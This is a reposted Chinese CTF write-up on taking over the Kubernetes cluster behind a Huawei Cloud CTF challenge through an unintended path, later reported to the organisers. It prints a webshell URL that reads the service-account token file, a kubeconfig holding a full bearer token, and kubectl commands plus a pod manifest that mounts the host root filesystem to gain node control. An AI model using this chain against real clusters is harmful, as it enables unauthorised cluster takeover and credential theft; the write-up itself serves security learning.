华为云CTF cloud非预期解之k8s渗透实战

渗透技巧 2年前 (2021) admin
1,004 0 0
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


这篇文章经@Annevi师傅授权转载至该公众号,感谢分享华为云CTF cloud非预期解之k8s渗透实战!原文地址:https://annevi.cn/2020/12/21/华为云ctf-cloud非预期解之k8s渗透实战/


前言

最近对云安全这块比较感兴趣,学了一波k8s的架构和操作,正好遇上了华为云的这一场比赛,收获颇多。(甚至通过非预期拿下了平台题目集群的最高权限)


0x00 题目入口发现

拿到题目发现是一个类似于提供IaaS服务的站点,扫描了一波目录,发现几个文件以及路由:

phpinfo.phprobots.txtadmin/login/static/


挺奇怪的是,在一个存在phpinfo的环境下发现了一个beego框架后端的403界面:

华为云CTF cloud非预期解之k8s渗透实战


初步猜测是.php的文件交给了nginx fastcgi进行处理,而其他路由则是交给了beego进行处理。


接着我们先看/admin路由,发现存在一个隐藏的表单

华为云CTF cloud非预期解之k8s渗透实战


因此自然的想到使用burpsuite进行弱口令的爆破,发现存在弱口令 admin:admin


登录成功后返回了两个url, 下载 tools.zip,同时根据名字猜测/wsproxy是一个websocket的代理路由,而查看tools的源码发现是一个wsproxy的客户端程序。

华为云CTF cloud非预期解之k8s渗透实战


至此,我们找到了进入内网的通道。


0x01 wsproxy 进入内网

直接对拿到的tools源码进行编译,获得客户端连接程序

华为云CTF cloud非预期解之k8s渗透实战

根据使用说明,我们可以通过简单的命令连接上题目的wsproxy,同时密码为tools源码目录下的 pass.txt(UAF),session就是我们登陆admin后,题目给的beego session
华为云CTF cloud非预期解之k8s渗透实战

这样会在本地的1080端口开启一个 socks5 代理,通过这个代理,我们就能够连入内网。

0x02 phpinfo泄露k8s集群信息

由于这道题目的名称 Cloud 以及在 phpinfo.php 环境变量中发现的大量service的信息以及k8s api-server地址,同时根据环境变量的名称与值来看,这是一个k8s集群。而我们的题目属于k8s集群中的一个pod。

华为云CTF cloud非预期解之k8s渗透实战

0x03 k8s基础架构介绍

在继续深入下去之前,我们需要了解k8s的一些基础架构

华为云CTF cloud非预期解之k8s渗透实战
点开查看高清图

如上图所示,我们可以看到,Kubernetes集群主要分为 MasterNode 两部分,也是典型的分布式架构。


首先,外部应用程序通过Api-Server提供的 HTTP 接口与Master进行交互,而在与APIs进行交互前,需要经过一步认证的阶段。而 Node由多个pod组成,pod中运行着的便是大家比较熟悉的容器(通常来说是docker),编写的服务(app)就运行在这些pod中的容器内。


其次,我们若是想将我们的pod发布出去,使其能够被公开访问,就需要了解服务(Service)。我们将运行在一组 Pods 上的应用程序公开为网络服务的抽象方法称作服务,服务上一般配置了能够被公开访问的 ip地址、端口映射关系等,通过服务我们就能够访问到相应的pods。


每一个Node上都有一个被称作节点代理的程序 kubeletNode通过该程序向Api-Server汇报节点信息,以及接受相应的指令等。


从上面的架构中不难看出,如果我们要拿下整个集群,从外部看实际上就是需要获得暴露在外的api-server提供的REST api的访问权限。


0x04 k8s 认证 token 泄露 + 配置不当

通过上面一步浅显的解了一下k8s的基础架构,我们可以继续往下看。


我们通过给的代理程序连接内网,访问phpinfo中泄露的 k8s api-server https://10.247.0.1:443,发现api-server居然暴露在代理能够直接访问到的网段上,但是直接访问提示我们401未授权,因此我们需要寻找一种可能的方式去通过此认证。

华为云CTF cloud非预期解之k8s渗透实战

根据phpinfo.php文件中的内容来看,该集群中部署了很多很多的services,因此我们猜测所有的题目容器应该都是通过这个k8s进行编排管理的。


同时由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到

/run/secrets/kubernetes.io/serviceaccount/token文件中,因此我们是可以通过其他题目所拿到的shell拿到这个token。

ServiceAccount 主要包含了三个内容:namespace、Token 和 CA。namespace 指定了 pod 所在的 namespace,CA 用于验证 apiserver 的证书,token 用作身份验证。它们都通过 mount 的方式保存在 pod 的文件系统中,其中 token 保存的路径是 /var/run/secrets/kubernetes.io/serviceaccount/token ,是 apiserver 通过私钥签发 token 的 base64 编码后的结果


我们可以通过之前在 webshell_1题目所拿到的webshell,获取到api-server认证token

http://124.70.199.12:32003/upload/71a6e9b8-90b6-4d4f-9acd-bd91c8bbcc5e.jsp?pwd=023&i=cat%20/run/secrets/kubernetes.io/serviceaccount/token
华为云CTF cloud非预期解之k8s渗透实战

至此,我们已经获得了api-server的访问权限,因此就相当于我们获取了k8s集群中的master权限。

0x05 获取集群操纵权限

拿到了api-server的权限,我们就能够随心所欲的在集群中做想做的事了~ 其实做到这一步,大概就意识到这应该是一个平台漏洞,而不是本题的预期解法。因为拿到了master权限之后,我们已经能够查看/控制所有的Pods(web题目),随意的获取我们想要题目的flag。


我们可以通过命令行工具 kubectl来对api-server进行操作。


创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址

apiVersion: v1clusters:- cluster:    insecure-skip-tls-verify: true    server: https://10.247.0.1  name: cluster-namecontexts:- context:    cluster: cluster-name    namespace: test    user: admin  name: admincurrent-context: adminkind: Configpreferences: {}users:- name: admin  user:    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w

在本机通过题目的内网代理执行以下命令远程连接进入题目的k8s集群,成功通过认证。
kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
华为云CTF cloud非预期解之k8s渗透实战

至此,我们得到了访问k8s api-server的权限,下面我们尝试去获取集群master宿主机的权限。


通过执行

kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
华为云CTF cloud非预期解之k8s渗透实战

可以看到,k8s的版本号为 v1.15.11,这个版本的k8s授权默认是不会开启RBAC(基于角色的访问控制)的。

在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。


因此如果运维在搭建集群环境的时候,没有设置 –authorization-mode=RBAC ,那么我们就可以通过拿下集群中的一个pod的shell,从而获取到token进行api-server的认证。很显然,经过上面的验证,运维在部署环境时并没有开启该访问控制。


0x06 获取 master 宿主机权限

我们可以创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件。


执行以下命令,获取当前已经拉取过的images:

kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' 'n' |sort |uniq -c

结果如下:
华为云CTF cloud非预期解之k8s渗透实战

尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的


yaml配置如下:

apiVersion: v1kind: Podmetadata:  name: test-444spec:  containers:  - name: test-444    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6    volumeMounts:    - name: host      mountPath: /host  volumes:  - name: host    hostPath:      path: /      type: Directory

上述配置将宿主机的根目录挂载到了我们pod中的 /host目录,执行以下命令在default命名空间中创建该pod
kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true

再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制。
kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true

至此,我们所获得的权限其实已经和主办方运维同样高了。。

0x07 获取flag

通过以上的步骤,大概明白了这是一个非预期,平台配置token的泄露外加没有开启RBAC授权,导致我们轻易的就能够获取到了k8s集群的最高权限。因此我们也就获得了该集群中所有题目容器的最高权限。


在整个集群中,我们需要寻找属于我们队伍的pod,以便获得对应的flag。


因此我们首先通过查询在k8s中用于服务暴露的service信息:

kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
华为云CTF cloud非预期解之k8s渗透实战

可以看到,列出了所有的service,同时还有集群ip以及端口映射的关系。这里我们就可以通过暴露在公网上的端口,来定位对应的service。


例如我们的公网端口为30067,则我们搜索30067端口

华为云CTF cloud非预期解之k8s渗透实战

得到了我们题目pod所在的service,接着我们获取这个service的详细信息,以便得到pod name,命令如下:
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
华为云CTF cloud非预期解之k8s渗透实战

从这里大致可以看出,app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。

kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true

通过对我们获取的数据的检索,发现了这样一个pod,通过比较虚拟ip与phpinfo中的信息,可以确定这个pod就是我们要找的那个。
华为云CTF cloud非预期解之k8s渗透实战

因此便得到了属于我们的pod。exec进入pod后,便可以得到flag。

0x08 总结

在拿下master之后,我们立即联系了赛事主办方,经过确认这是一个平台的严重安全~也得到了主办方的感谢。

华为云CTF cloud非预期解之k8s渗透实战

华为云CTF cloud非预期解之k8s渗透实战


之前学习云原生架构和安全相关知识的时候,一直找不到一个很好的实践方式,而这次华为云专场比赛CLOUD第一次让我接触到了真正的☁️云环境下的安全问题,虽说是通过非预期的方式解出了题目,不过这个非预期却让我们较为容易的拿到了整个集群的最高权限,还是挺意外的。坐等大佬的预期解法~



关注公众号回复“9527”可免费获取一套HTB靶场文档和视频,1120”安全参考杂志电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包21919月1日前潇湘信安所有文章打包。

华为云CTF cloud非预期解之k8s渗透实战 还在等什么?赶紧点击下方名片关注学习吧!华为云CTF cloud非预期解之k8s渗透实战


推 荐 阅 读




华为云CTF cloud非预期解之k8s渗透实战
华为云CTF cloud非预期解之k8s渗透实战
华为云CTF cloud非预期解之k8s渗透实战

欢 迎 私 下 骚 扰



华为云CTF cloud非预期解之k8s渗透实战

原文始发于微信公众号(潇湘信安):华为云CTF cloud非预期解之k8s渗透实战

版权声明:admin 发表于 2021年11月19日 上午1:00。
转载请注明:华为云CTF cloud非预期解之k8s渗透实战 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...